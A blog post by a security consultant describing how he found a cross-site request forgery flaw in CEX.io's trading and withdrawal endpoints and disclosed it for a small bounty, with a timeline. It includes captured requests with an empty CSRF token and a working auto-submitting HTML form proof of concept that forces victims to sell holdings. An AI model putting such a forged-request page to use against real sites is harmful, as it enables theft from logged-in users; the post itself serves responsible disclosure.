Background

As a Bitcoin mining enthusiast, I thought the idea behind CEX.io was pretty cool. You can buy virtual mining power and collect the rewards from your cloud hashing power. I signed up for an account and bought 1 BTC worth of mining power. I was seeing decent returns, so I decided to check out the site’s security before I moved more money into my account.

I work as a security consultant, and I frequently perform penetration tests on web applications. I used Burp Proxy to simply watch the HTTP traffic between my browser and CEX. Within about 15 minutes of reading through the traffic logs (and making no modifications to the requests), I found several security vulnerabilities. Previously, I had read Donncha O’Cearbhaill’s excellent writeup about reporting vulnerabilities to Coinbase via their bug bounty program. I had also reported a minor vulnerability to Bitmit several months prior and had a fairly smooth experience.

Discovery

The most severe issue on the site related to the protection on withdrawals requests and buy or sell orders. For example, when a user issued an order to buy 1 GH/s of virtual mining power for .15 BTC, the HTTP request took the following form:

POST /trade/api/order HTTP/1.1 Host: cex.io Cookie: __cfduid=[redacted]; ref=[redacted] Content-Type: application/x-www-form-urlencoded Content-Length: 58 type=buy&symbol1=GHS&symbol2=BTC&amount=1&price=.15&_csrf=

Similarly, when the user requested a 1 BTC withdrawal to their Bitcoin wallet address, the request took the following form:

POST /trade/api/withdraw_btc HTTP/1.1 Host: cex.io Cookie: __cfduid=[redacted]; ref=[redacted] Content-Type: application/x-www-form-urlencoded Content-Length: 59 wallet=[user's wallet address]&amount=1.0&_csrf=

This is a very obvious cross-site request forgery (CSRF) vulnerability. The site was trying to defend against this with the _csrf parameter, but something was broken because the token had no value assigned and thus was offering no protection. The result was that an attacker could create a page with the following HTML:

<form action="https://cex.io/trade/api/order" method="post"> <input type="hidden" name="type" value="sell" /> <input type="hidden" name="symbol1" value="GHS" /> <input type="hidden" name="symbol2" value="BTC" /> <input type="hidden" name="amount" value="10" /> <input type="hidden" name="price" value=".00001" /> <input type="hidden" name="_csrf" value="" /> </form> <script> window.onload = function () { document.forms[0].submit(); } </script>

If a CEX user visited the attacker’s page while logged into CEX, it would cause them to automatically sell 10 GH/s for .00001 BTC. At the time, CEX’s session cookie lasted for days, so it would not have been difficult to find users who are still logged into CEX when they visit the attacker’s site. Withdrawals were a bit more protected, as the user had to click an email confirming the action, but an attacker could still sell a victim user’s entire holdings for whatever price the attacker wanted (or alternatively purchase mining power at an attacker-chosen price).

Reporting

On October 13, I emailed webmaster@cex.io to ask if they offered a white hat bug bounty program. I received a response the same day from Jeffrey Smith, CEX’s head of customer service who said he would like to discuss the issue with me. I followed up with Jeffrey but I did not get an answer until October 21st, when he told met that CEX would be willing to pay me in virtual mining power in exchange for responsibly disclosing vulnerabilities.

I replied to Jeffrey the same day explaining the vulnerability in detail and providing guidance in how to fix it. Jeffrey responded the next day to thank me and tell me CEX would begin investigating and determining an appropriate reward.

On November 4, I saw that CEX had fixed the CSRF issue and had also added two-factor authentication for added protection. I sent Jeffrey an email asking when I could expect the bounty, and I received no response. I waited five days, then sent another email, this time filing a support ticket as well. Two days later I finally received my answer from Jeffrey:

I talked to the upper management about the vulnerability you have found. Their response was that they were aware of this vulnerability, but it was not in our priority list. However it is now, and I’ve negotiated a bounty in the amount: 0.2BTC.

Full Timeline

10/13/2013 – Initial inquiry about bug bounty program

10/21/2013 – CEX offers bounty in exchange for responsible disclosure of vulnerabilities

10/21/2013 – I report CSRF vulnerability to CEX

11/04/2013 – I notice issue has been fixed, inquire about bounty

11/11/2013 – CEX notifies me of my bounty, sends me 0.2 BTC

Full email transcripts are available here.

Conclusion

At the time, 0.2 BTC was roughly the equivalent of US$70. I found the bounty a bit disappointing compared with those offered by other Bitcoin companies, but I can’t complain much because I didn’t negotiate a rate beforehand. What struck me most was that, for weeks, CEX’s upper management supposedly knew about a serious vulnerability that could completely drain their users’ holdings and did not fix it because “it was not in [their] priority list.”

Again, I had found several vulnerabilities during my cursory examination of CEX’s site, but the CSRF issue was the only one I reported because I wanted to test out their bug bounty program. After my experience reporting the CSRF bug, I am not interested in reporting further vulnerabilities to CEX. I felt that their reward was unreasonably low and that their bounty process was klunky and unprofessional. Their approach to security does not make me comfortable trusting them with my Bitcoins, so I’m afraid CEX and I will be parting ways.